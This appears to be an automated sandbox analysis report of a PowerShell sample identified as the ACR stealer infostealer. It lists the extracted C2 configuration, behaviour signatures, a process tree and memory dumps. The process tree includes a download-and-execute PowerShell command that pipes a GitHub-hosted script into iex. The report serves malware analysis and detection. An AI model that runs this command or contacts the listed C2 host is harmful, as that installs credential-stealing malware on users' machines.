Analysis
- max time kernel
148s - max time network
132s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
05/09/2026, 12:13
General
- Target pui4410.ps1
- Size 100KB
- Sample260905-pd59fsbr3v
- SHA256 e3cf263ad72092c68c1bbc6e8ec454baa7ec01b15fe6e4ccb19d2e49167ed35f
Malware Config
Extracted
-
acrstealer
-
4.3.8-alpha2
-
lb.honeytrail.cc
-
cloudflare.com
-
guids
f1575b64-8492-4e8b-b102-4d26e8c70371
019fd851-d0e2-7805-ae09-2dd1daa78960
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
Signatures
- Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Detects ACRStealer V4.x 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\pui4410.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yhmctqva\yhmctqva.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5579.tmp" "c:\Users\Admin\AppData\Local\Temp\yhmctqva\CSC129167D48F34F1BA39CE9434EB791F.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2g1ict22\2g1ict22.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES571F.tmp" "c:\Users\Admin\AppData\Local\Temp\2g1ict22\CSC9165BE9FB80849F5B4479C94A75C114A.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://raw.githubusercontent.com/frantario/rt8478-4y/refs/heads/main/dfg-091 | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5388 -s 4484⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5388 -ip 53881⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
2g1ict22.dll
RES5579.tmp
RES571F.tmp
__PSScriptPolicyTest_pxyk4pbw.4wz.ps1
yhmctqva.dll
2g1ict22.0.cs
2g1ict22.cmdline
CSC9165BE9FB80849F5B4479C94A75C114A.TMP
CSC129167D48F34F1BA39CE9434EB791F.TMP
yhmctqva.0.cs
yhmctqva.cmdline
memory/1656-67-0x0000000008580000-0x0000000008742000-memory.dmp
memory/1656-71-0x0000000007CD0000-0x0000000007CF2000-memory.dmp
memory/1656-64-0x0000000006620000-0x000000000666C000-memory.dmp
memory/1656-66-0x0000000006B30000-0x0000000006B4A000-memory.dmp
memory/1656-63-0x00000000065F0000-0x000000000660E000-memory.dmp
memory/1656-70-0x0000000008450000-0x00000000084E6000-memory.dmp
memory/1656-62-0x00000000060D0000-0x000000000642B000-memory.dmp
memory/1656-65-0x0000000007D30000-0x00000000083AC000-memory.dmp
memory/1656-72-0x000000000CD10000-0x000000000D2CA000-memory.dmp
memory/1656-55-0x0000000003130000-0x0000000003166000-memory.dmp
memory/1656-59-0x0000000005FA0000-0x0000000006006000-memory.dmp
memory/1656-58-0x0000000005F30000-0x0000000005F96000-memory.dmp
memory/1656-57-0x0000000005830000-0x0000000005852000-memory.dmp
memory/1656-56-0x00000000058E0000-0x0000000005F2A000-memory.dmp
memory/5388-75-0x0000000002C50000-0x0000000002D27000-memory.dmp
memory/5388-74-0x0000000000F00000-0x0000000000F59000-memory.dmp
memory/6976-23-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-40-0x000001C1A03B0000-0x000001C1A03B8000-memory.dmp
memory/6976-47-0x000001C1A0850000-0x000001C1A086E000-memory.dmp
memory/6976-48-0x000001C1A0830000-0x000001C1A083A000-memory.dmp
memory/6976-49-0x000001C1A0890000-0x000001C1A08AC000-memory.dmp
memory/6976-50-0x000001C1A0840000-0x000001C1A0848000-memory.dmp
memory/6976-51-0x000001C1A0870000-0x000001C1A0876000-memory.dmp
memory/6976-52-0x000001C1A0880000-0x000001C1A088A000-memory.dmp
memory/6976-54-0x000001C1A0840000-0x000001C1A0864000-memory.dmp
memory/6976-53-0x000001C1A0840000-0x000001C1A086A000-memory.dmp
memory/6976-36-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-46-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-43-0x000001C1A0600000-0x000001C1A061E000-memory.dmp
memory/6976-45-0x000001C1A05F0000-0x000001C1A05FA000-memory.dmp
memory/6976-44-0x000001C1A0620000-0x000001C1A06D2000-memory.dmp
memory/6976-30-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-31-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-24-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-0-0x00007FF85487F000-0x00007FF854880000-memory.dmp
memory/6976-22-0x000001C1A0330000-0x000001C1A0338000-memory.dmp
memory/6976-9-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-8-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-69-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-7-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-6-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-5-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-73-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-4-0x000001C1A0340000-0x000001C1A0362000-memory.dmp
memory/6976-3-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/6976-77-0x00007FF8546F0000-0x00007FF855094000-memory.dmp